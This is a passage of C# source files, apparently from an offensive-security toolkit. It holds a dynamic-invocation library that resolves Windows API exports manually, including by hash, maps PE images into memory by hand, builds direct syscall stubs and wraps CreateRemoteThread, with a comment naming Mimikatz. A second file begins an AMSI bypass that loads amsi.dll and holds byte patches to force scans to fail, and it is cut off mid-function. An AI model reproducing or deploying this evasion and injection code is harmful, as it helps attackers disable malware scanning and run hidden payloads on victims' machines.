3616 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
3617 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
3618 | Int64 pExport = 0;
3619 | if (Magic == 0x010b)
3620 | {
3621 | pExport = OptHeader + 0x60;
3622 | }
3623 | else
3624 | {
3625 | pExport = OptHeader + 0x70;
3626 | }
3627 |
3628 | // Read -> IMAGE_EXPORT_DIRECTORY
3629 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
3630 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
3631 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
3632 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
3633 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
3634 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
3635 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
3636 |
3637 | // Loop the array of export name RVA's
3638 | for (int i = 0; i < NumberOfNames; i++)
3639 | {
3640 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
3641 | if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
3642 | {
3643 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
3644 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
3645 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
3646 | break;
3647 | }
3648 | }
3649 | }
3650 | catch
3651 | {
3652 | // Catch parser failure
3653 | throw new InvalidOperationException("Failed to parse module exports.");
3654 | }
3655 |
3656 | if (FunctionPtr == IntPtr.Zero)
3657 | {
3658 | // Export not found
3659 | throw new MissingMethodException(ExportName + ", export not found.");
3660 | }
3661 | return FunctionPtr;
3662 | }
3663 |
3664 | ///
3665 | /// Given a module base address, resolve the address of a function by manually walking the module export table.
3666 | ///
3667 | /// Ruben Boonen (@FuzzySec)
3668 | /// A pointer to the base address where the module is loaded in the current process.
3669 | /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).
3670 | /// IntPtr for the desired function.
3671 | public static IntPtr GetExportAddress(IntPtr ModuleBase, short Ordinal)
3672 | {
3673 | IntPtr FunctionPtr = IntPtr.Zero;
3674 | try
3675 | {
3676 | // Traverse the PE header in memory
3677 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
3678 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
3679 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
3680 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
3681 | Int64 pExport = 0;
3682 | if (Magic == 0x010b)
3683 | {
3684 | pExport = OptHeader + 0x60;
3685 | }
3686 | else
3687 | {
3688 | pExport = OptHeader + 0x70;
3689 | }
3690 |
3691 | // Read -> IMAGE_EXPORT_DIRECTORY
3692 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
3693 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
3694 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
3695 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
3696 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
3697 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
3698 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
3699 |
3700 | // Loop the array of export name RVA's
3701 | for (int i = 0; i < NumberOfNames; i++)
3702 | {
3703 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
3704 | if (FunctionOrdinal == Ordinal)
3705 | {
3706 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
3707 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
3708 | break;
3709 | }
3710 | }
3711 | }
3712 | catch
3713 | {
3714 | // Catch parser failure
3715 | throw new InvalidOperationException("Failed to parse module exports.");
3716 | }
3717 |
3718 | if (FunctionPtr == IntPtr.Zero)
3719 | {
3720 | // Export not found
3721 | throw new MissingMethodException(Ordinal + ", ordinal not found.");
3722 | }
3723 | return FunctionPtr;
3724 | }
3725 |
3726 | ///
3727 | /// Given a module base address, resolve the address of a function by manually walking the module export table.
3728 | ///
3729 | /// Ruben Boonen (@FuzzySec)
3730 | /// A pointer to the base address where the module is loaded in the current process.
3731 | /// Hash of the exported procedure.
3732 | /// 64-bit integer to initialize the keyed hash object (e.g. 0xabc or 0x1122334455667788).
3733 | /// IntPtr for the desired function.
3734 | public static IntPtr GetExportAddress(IntPtr ModuleBase, string FunctionHash, long Key)
3735 | {
3736 | IntPtr FunctionPtr = IntPtr.Zero;
3737 | try
3738 | {
3739 | // Traverse the PE header in memory
3740 | Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
3741 | Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
3742 | Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
3743 | Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
3744 | Int64 pExport = 0;
3745 | if (Magic == 0x010b)
3746 | {
3747 | pExport = OptHeader + 0x60;
3748 | }
3749 | else
3750 | {
3751 | pExport = OptHeader + 0x70;
3752 | }
3753 |
3754 | // Read -> IMAGE_EXPORT_DIRECTORY
3755 | Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
3756 | Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
3757 | Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
3758 | Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
3759 | Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
3760 | Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
3761 | Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
3762 |
3763 | // Loop the array of export name RVA's
3764 | for (int i = 0; i < NumberOfNames; i++)
3765 | {
3766 | string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
3767 | if (GetAPIHash(FunctionName, Key).Equals(FunctionHash, StringComparison.OrdinalIgnoreCase))
3768 | {
3769 | Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
3770 | Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
3771 | FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
3772 | break;
3773 | }
3774 | }
3775 | }
3776 | catch
3777 | {
3778 | // Catch parser failure
3779 | throw new InvalidOperationException("Failed to parse module exports.");
3780 | }
3781 |
3782 | if (FunctionPtr == IntPtr.Zero)
3783 | {
3784 | // Export not found
3785 | throw new MissingMethodException(FunctionHash + ", export hash not found.");
3786 | }
3787 | return FunctionPtr;
3788 | }
3789 |
3790 | ///
3791 | /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
3792 | ///
3793 | /// Ruben Boonen (@FuzzySec)
3794 | /// A pointer to the base address where the module is loaded in the current process.
3795 | /// The name of the export to search for (e.g. "NtAlertResumeThread").
3796 | /// IntPtr for the desired function.
3797 | public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, string ExportName)
3798 | {
3799 | Native.ANSI_STRING aFunc = new Native.ANSI_STRING
3800 | {
3801 | Length = (ushort)ExportName.Length,
3802 | MaximumLength = (ushort)(ExportName.Length + 2),
3803 | Buffer = Marshal.StringToCoTaskMemAnsi(ExportName)
3804 | };
3805 |
3806 | IntPtr pAFunc = Marshal.AllocHGlobal(Marshal.SizeOf(aFunc));
3807 | Marshal.StructureToPtr(aFunc, pAFunc, true);
3808 |
3809 | IntPtr pFuncAddr = IntPtr.Zero;
3810 | DynamicNative.LdrGetProcedureAddress(ModuleBase, pAFunc, IntPtr.Zero, ref pFuncAddr);
3811 |
3812 | Marshal.FreeHGlobal(pAFunc);
3813 |
3814 | return pFuncAddr;
3815 | }
3816 |
3817 | ///
3818 | /// Given a module base address, resolve the address of a function by calling LdrGetProcedureAddress.
3819 | ///
3820 | /// Ruben Boonen (@FuzzySec)
3821 | /// A pointer to the base address where the module is loaded in the current process.
3822 | /// The ordinal number to search for (e.g. 0x136 -> ntdll!NtCreateThreadEx).
3823 | /// IntPtr for the desired function.
3824 | public static IntPtr GetNativeExportAddress(IntPtr ModuleBase, short Ordinal)
3825 | {
3826 | IntPtr pFuncAddr = IntPtr.Zero;
3827 | IntPtr pOrd = (IntPtr)Ordinal;
3828 |
3829 | DynamicNative.LdrGetProcedureAddress(ModuleBase, IntPtr.Zero, pOrd, ref pFuncAddr);
3830 |
3831 | return pFuncAddr;
3832 | }
3833 |
3834 | ///
3835 | /// Retrieve PE header information from the module base pointer.
3836 | ///
3837 | /// Ruben Boonen (@FuzzySec)
3838 | /// Pointer to the module base.
3839 | /// PE.PE_META_DATA
3840 | public static PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
3841 | {
3842 | PE.PE_META_DATA PeMetaData = new PE.PE_META_DATA();
3843 | try
3844 | {
3845 | UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));
3846 | PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));
3847 | // Validate PE signature
3848 | if (PeMetaData.Pe != 0x4550)
3849 | {
3850 | throw new InvalidOperationException("Invalid PE signature.");
3851 | }
3852 | PeMetaData.ImageFileHeader = (PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(PE.IMAGE_FILE_HEADER));
3853 | IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);
3854 | UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);
3855 | // Validate PE arch
3856 | if (PEArch == 0x010b) // Image is x32
3857 | {
3858 | PeMetaData.Is32Bit = true;
3859 | PeMetaData.OptHeader32 = (PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER32));
3860 | }
3861 | else if (PEArch == 0x020b) // Image is x64
3862 | {
3863 | PeMetaData.Is32Bit = false;
3864 | PeMetaData.OptHeader64 = (PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(PE.IMAGE_OPTIONAL_HEADER64));
3865 | }
3866 | else
3867 | {
3868 | throw new InvalidOperationException("Invalid magic value (PE32/PE32+).");
3869 | }
3870 | // Read sections
3871 | PE.IMAGE_SECTION_HEADER[] SectionArray = new PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];
3872 | for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)
3873 | {
3874 | IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));
3875 | SectionArray[i] = (PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(PE.IMAGE_SECTION_HEADER));
3876 | }
3877 | PeMetaData.Sections = SectionArray;
3878 | }
3879 | catch
3880 | {
3881 | throw new InvalidOperationException("Invalid module base specified.");
3882 | }
3883 | return PeMetaData;
3884 | }
3885 |
3886 | ///
3887 | /// Resolve host DLL for API Set DLL.
3888 | ///
3889 | /// Ruben Boonen (@FuzzySec)
3890 | /// Dictionary, a combination of Key:APISetDLL and Val:HostDLL.
3891 | public static Dictionary GetApiSetMapping()
3892 | {
3893 | Native.PROCESS_BASIC_INFORMATION pbi = DynamicNative.NtQueryInformationProcessBasicInformation((IntPtr)(-1));
3894 | UInt32 ApiSetMapOffset = IntPtr.Size == 4 ? (UInt32)0x38 : 0x68;
3895 |
3896 | // Create mapping dictionary
3897 | Dictionary ApiSetDict = new Dictionary();
3898 |
3899 | IntPtr pApiSetNamespace = Marshal.ReadIntPtr((IntPtr)((UInt64)pbi.PebBaseAddress + ApiSetMapOffset));
3900 | PE.ApiSetNamespace Namespace = (PE.ApiSetNamespace)Marshal.PtrToStructure(pApiSetNamespace, typeof(PE.ApiSetNamespace));
3901 | for (var i = 0; i < Namespace.Count; i++)
3902 | {
3903 | PE.ApiSetNamespaceEntry SetEntry = new PE.ApiSetNamespaceEntry();
3904 | SetEntry = (PE.ApiSetNamespaceEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)Namespace.EntryOffset + (UInt64)(i * Marshal.SizeOf(SetEntry))), typeof(PE.ApiSetNamespaceEntry));
3905 | string ApiSetEntryName = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.NameOffset), SetEntry.NameLength / 2) + ".dll";
3906 |
3907 | PE.ApiSetValueEntry SetValue = new PE.ApiSetValueEntry();
3908 | SetValue = (PE.ApiSetValueEntry)Marshal.PtrToStructure((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetEntry.ValueOffset), typeof(PE.ApiSetValueEntry));
3909 | string ApiSetValue = string.Empty;
3910 | if (SetValue.ValueCount != 0)
3911 | {
3912 | ApiSetValue = Marshal.PtrToStringUni((IntPtr)((UInt64)pApiSetNamespace + (UInt64)SetValue.ValueOffset), SetValue.ValueCount / 2);
3913 | }
3914 |
3915 | // Add pair to dict
3916 | ApiSetDict.Add(ApiSetEntryName, ApiSetValue);
3917 | }
3918 |
3919 | // Return dict
3920 | return ApiSetDict;
3921 | }
3922 |
3923 | ///
3924 | /// Call a manually mapped PE by its EntryPoint.
3925 | ///
3926 | /// Ruben Boonen (@FuzzySec)
3927 | /// Module meta data struct (PE.PE_META_DATA).
3928 | /// Base address of the module in memory.
3929 | /// void
3930 | public static void CallMappedPEModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
3931 | {
3932 | // Call module by EntryPoint (eg Mimikatz.exe)
3933 | IntPtr hRemoteThread = IntPtr.Zero;
3934 | IntPtr lpStartAddress = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
3935 | (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
3936 |
3937 | // Syscall NtOpenFile
3938 | IntPtr pNtCreateThreadEx = DynamicGeneric.GetSyscallStub("NtCreateThreadEx");
3939 | DynamicNative.DELEGATES.NtCreateThreadEx fSyscallNtCreateThreadEx = (DynamicNative.DELEGATES.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(pNtCreateThreadEx, typeof(DynamicNative.DELEGATES.NtCreateThreadEx));
3940 |
3941 | fSyscallNtCreateThreadEx(
3942 | out hRemoteThread,
3943 | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL,
3944 | IntPtr.Zero, (IntPtr)(-1),
3945 | lpStartAddress, IntPtr.Zero,
3946 | false, 0, 0, 0, IntPtr.Zero
3947 | );
3948 | }
3949 |
3950 | ///
3951 | /// Call a manually mapped DLL by DllMain -> DLL_PROCESS_ATTACH.
3952 | ///
3953 | /// Ruben Boonen (@FuzzySec)
3954 | /// Module meta data struct (PE.PE_META_DATA).
3955 | /// Base address of the module in memory.
3956 | /// void
3957 | public static void CallMappedDLLModule(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase)
3958 | {
3959 | IntPtr lpEntryPoint = PEINFO.Is32Bit ? (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader32.AddressOfEntryPoint) :
3960 | (IntPtr)((UInt64)ModuleMemoryBase + PEINFO.OptHeader64.AddressOfEntryPoint);
3961 |
3962 | PE.DllMain fDllMain = (PE.DllMain)Marshal.GetDelegateForFunctionPointer(lpEntryPoint, typeof(PE.DllMain));
3963 | bool CallRes = fDllMain(ModuleMemoryBase, PE.DLL_PROCESS_ATTACH, IntPtr.Zero);
3964 | if (!CallRes)
3965 | {
3966 | throw new InvalidOperationException("Failed to call DllMain -> DLL_PROCESS_ATTACH");
3967 | }
3968 | }
3969 |
3970 | ///
3971 | /// Call a manually mapped DLL by Export.
3972 | ///
3973 | /// Ruben Boonen (@FuzzySec)
3974 | /// Module meta data struct (PE.PE_META_DATA).
3975 | /// Base address of the module in memory.
3976 | /// The name of the export to search for (e.g. "NtAlertResumeThread").
3977 | /// Prototype for the function, represented as a Delegate object.
3978 | /// Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.
3979 | /// Specify whether to invoke the module's entry point.
3980 | /// void
3981 | public static object CallMappedDLLModuleExport(PE.PE_META_DATA PEINFO, IntPtr ModuleMemoryBase, string ExportName, Type FunctionDelegateType, object[] Parameters, bool CallEntry = true)
3982 | {
3983 | // Call entry point if user has specified
3984 | if (CallEntry)
3985 | {
3986 | CallMappedDLLModule(PEINFO, ModuleMemoryBase);
3987 | }
3988 |
3989 | // Get export pointer
3990 | IntPtr pFunc = GetExportAddress(ModuleMemoryBase, ExportName);
3991 |
3992 | // Call export
3993 | return DynamicFunctionInvoke(pFunc, FunctionDelegateType, ref Parameters);
3994 | }
3995 |
3996 | ///
3997 | /// Read ntdll from disk, find/copy the appropriate syscall stub and free ntdll.
3998 | ///
3999 | /// Ruben Boonen (@FuzzySec)
4000 | /// The name of the function to search for (e.g. "NtAlertResumeThread").
4001 | /// IntPtr, Syscall stub
4002 | public static IntPtr GetSyscallStub(string FunctionName)
4003 | {
4004 | // Verify process & architecture
4005 | bool isWOW64 = DynamicNative.NtQueryInformationProcessWow64Information((IntPtr)(-1));
4006 | /*if (IntPtr.Size == 4 && isWOW64)
4007 | {
4008 | throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64.");
4009 | }*/
4010 | ProcessModule NativeModule = null;
4011 | // Find the path for ntdll by looking at the currently loaded module
4012 | string NtdllPath = string.Empty;
4013 | ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
4014 | foreach (ProcessModule Mod in ProcModules)
4015 | {
4016 | if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
4017 | {
4018 | NtdllPath = Mod.FileName;
4019 | }
4020 |
4021 | }
4022 |
4023 | foreach (ProcessModule _ in Process.GetCurrentProcess().Modules)
4024 | {
4025 | if (_.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
4026 | {
4027 | NativeModule = _;
4028 | NtdllPath = NativeModule.FileName;
4029 | }
4030 | }
4031 |
4032 | // Alloc module into memory for parsing
4033 | IntPtr pModule = Map.AllocateFileToMemory(NtdllPath);
4034 |
4035 | // Fetch PE meta data
4036 | PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);
4037 |
4038 | // Alloc PE image memory -> RW
4039 | IntPtr BaseAddress = IntPtr.Zero;
4040 | IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
4041 | UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
4042 |
4043 | IntPtr pImage = DynamicNative.NtAllocateVirtualMemory(
4044 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
4045 | Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE,
4046 | Win32.WinNT.PAGE_READWRITE
4047 | );
4048 |
4049 | // Write PE header to memory
4050 | UInt32 BytesWritten = DynamicNative.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
4051 |
4052 | // Write sections to memory
4053 | foreach (PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
4054 | {
4055 | // Calculate offsets
4056 | IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
4057 | IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
4058 |
4059 | // Write data
4060 | BytesWritten = DynamicNative.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
4061 | if (BytesWritten != ish.SizeOfRawData)
4062 | {
4063 | throw new InvalidOperationException("Failed to write to memory.");
4064 | }
4065 | }
4066 |
4067 | // Get Ptr to function
4068 | IntPtr pFunc = GetExportAddress(pImage, FunctionName);
4069 | if (pFunc == IntPtr.Zero)
4070 | {
4071 | throw new InvalidOperationException("Failed to resolve ntdll export.");
4072 | }
4073 |
4074 | // Alloc memory for call stub
4075 | BaseAddress = IntPtr.Zero;
4076 | RegionSize = (IntPtr)0x50;
4077 | IntPtr pCallStub = DynamicNative.NtAllocateVirtualMemory(
4078 | (IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
4079 | Win32.Kernel32.MEM_COMMIT | Win32.Kernel32.MEM_RESERVE,
4080 | Win32.WinNT.PAGE_READWRITE
4081 | );
4082 |
4083 | // Write call stub
4084 | BytesWritten = DynamicNative.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);
4085 | if (BytesWritten != 0x50)
4086 | {
4087 | throw new InvalidOperationException("Failed to write to memory.");
4088 | }
4089 |
4090 | // Verify process & architecture
4091 | //bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
4092 |
4093 | // Create custom WOW64 stub
4094 | if (IntPtr.Size == 4 && isWOW64)
4095 | {
4096 | IntPtr pNativeWow64Transition = GetExportAddress(NativeModule.BaseAddress, "Wow64Transition");
4097 | byte bRetValue = Marshal.ReadByte(pCallStub, 13);
4098 |
4099 | // CALL DWORD PTR ntdll!Wow64SystemServiceCall
4100 | Marshal.WriteByte(pCallStub, 5, 0xff);
4101 | Marshal.WriteByte(pCallStub, 6, 0x15);
4102 | Marshal.WriteInt32(pCallStub, 7, pNativeWow64Transition.ToInt32());
4103 |
4104 | // RET
4105 | Marshal.WriteByte(pCallStub, 11, 0xc2);
4106 | Marshal.WriteByte(pCallStub, 12, bRetValue);
4107 | Marshal.WriteByte(pCallStub, 13, 0x00);
4108 |
4109 | // NOP for alignment
4110 | Marshal.WriteByte(pCallStub, 14, 0x90);
4111 | Marshal.WriteByte(pCallStub, 15, 0x90);
4112 | }
4113 |
4114 | // Change call stub permissions
4115 | DynamicNative.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, Win32.WinNT.PAGE_EXECUTE_READ);
4116 |
4117 | // Free temporary allocations
4118 | Marshal.FreeHGlobal(pModule);
4119 | RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
4120 |
4121 | DynamicNative.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Win32.Kernel32.MEM_RELEASE);
4122 |
4123 | return pCallStub;
4124 | }
4125 | }
4126 |
4127 | public static class DynamicWin32
4128 | {
4129 | ///
4130 | /// Uses DynamicInvocation to call the OpenProcess Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
4131 | ///
4132 | /// The Wover (@TheRealWover)
4133 | ///
4134 | ///
4135 | ///
4136 | ///
4137 | public static IntPtr OpenProcess(Win32.Kernel32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId)
4138 | {
4139 | // Craft an array for the arguments
4140 | object[] funcargs =
4141 | {
4142 | dwDesiredAccess, bInheritHandle, dwProcessId
4143 | };
4144 |
4145 | return (IntPtr)DynamicGeneric.DynamicAPIInvoke(@"kernel32.dll", @"OpenProcess",
4146 | typeof(Delegates.OpenProcess), ref funcargs);
4147 | }
4148 |
4149 | public static IntPtr CreateRemoteThread(
4150 | IntPtr hProcess,
4151 | IntPtr lpThreadAttributes,
4152 | uint dwStackSize,
4153 | IntPtr lpStartAddress,
4154 | IntPtr lpParameter,
4155 | uint dwCreationFlags,
4156 | ref IntPtr lpThreadId)
4157 | {
4158 | // Craft an array for the arguments
4159 | object[] funcargs =
4160 | {
4161 | hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId
4162 | };
4163 |
4164 | IntPtr retValue = (IntPtr)DynamicGeneric.DynamicAPIInvoke(@"kernel32.dll", @"CreateRemoteThread",
4165 | typeof(Delegates.CreateRemoteThread), ref funcargs);
4166 |
4167 | // Update the modified variables
4168 | lpThreadId = (IntPtr)funcargs[6];
4169 |
4170 | return retValue;
4171 | }
4172 |
4173 | ///
4174 | /// Uses DynamicInvocation to call the IsWow64Process Win32 API. https://docs.microsoft.com/en-us/windows/win32/api/wow64apiset/nf-wow64apiset-iswow64process
4175 | ///
4176 | /// Returns true if process is WOW64, and false if not (64-bit, or 32-bit on a 32-bit machine).
4177 | public static bool IsWow64Process(IntPtr hProcess, ref bool lpSystemInfo)
4178 | {
4179 |
4180 | // Build the set of parameters to pass in to IsWow64Process
4181 | object[] funcargs =
4182 | {
4183 | hProcess, lpSystemInfo
4184 | };
4185 |
4186 | bool retVal = (bool)DynamicGeneric.DynamicAPIInvoke(@"kernel32.dll", @"IsWow64Process", typeof(Delegates.IsWow64Process), ref funcargs);
4187 |
4188 | lpSystemInfo = (bool)funcargs[1];
4189 |
4190 | // Dynamically load and invoke the API call with out parameters
4191 | return retVal;
4192 | }
4193 |
4194 | public static class Delegates
4195 | {
4196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
4197 | public delegate IntPtr CreateRemoteThread(IntPtr hProcess,
4198 | IntPtr lpThreadAttributes,
4199 | uint dwStackSize,
4200 | IntPtr lpStartAddress,
4201 | IntPtr lpParameter,
4202 | uint dwCreationFlags,
4203 | out IntPtr lpThreadId);
4204 |
4205 | [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
4206 | public delegate IntPtr OpenProcess(
4207 | Win32.Kernel32.ProcessAccessFlags dwDesiredAccess,
4208 | bool bInheritHandle,
4209 | UInt32 dwProcessId
4210 | );
4211 |
4212 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
4213 | public delegate bool IsWow64Process(
4214 | IntPtr hProcess, ref bool lpSystemInfo
4215 | );
4216 | }
4217 | }
4218 | }
4219 | }
4220 |
--------------------------------------------------------------------------------
/SyscallBypass/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Diagnostics;
4 |
5 | namespace Patch
6 | {
7 | public class bySyscall
8 | {
9 |
10 | static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
11 | static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
12 |
13 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
14 | delegate DInvoke.Native.NTSTATUS NtProtectVirtualMemory(
15 | IntPtr ProcessHandle,
16 | ref IntPtr BaseAddress,
17 | ref IntPtr RegionSize,
18 | uint NewProtect,
19 | ref uint OldProtect);
20 |
21 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
22 | delegate IntPtr LoadLib(string name);
23 |
24 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
25 | delegate IntPtr GProcAddr(IntPtr hModule, string procName);
26 |
27 | public static void Patch()
28 | {
29 | if (is64Bit())
30 | ChangeBytes(x64);
31 | else
32 | ChangeBytes(x86);
33 | }
34 |
35 | private static void ChangeBytes(byte[] patch)
36 | {
37 | try
38 | {
39 |
40 | // library to load
41 | object[] LoadLibparams =
42 | {
43 | "amsi.dll"
44 | };
45 |
46 | Console.WriteLine("[>] Parsing _PEB_LDR_DATA structure of kernel32.dll \n");
47 | // Parsing _PEB_LDR_DATA structure of kernel32.dll
48 | IntPtr pkernel32 = DInvoke.DynamicGeneric.GetPebLdrModuleEntry("kernel32.dll");
49 |
50 | // Get LoadLibraryA Address
51 | var pLoadLibrary = DInvoke.DynamicGeneric.GetExportAddress(pkernel32, "LoadLibraryA");
52 |
53 |
54 | // Actually Call LoadLibraryA for the function mentioned above
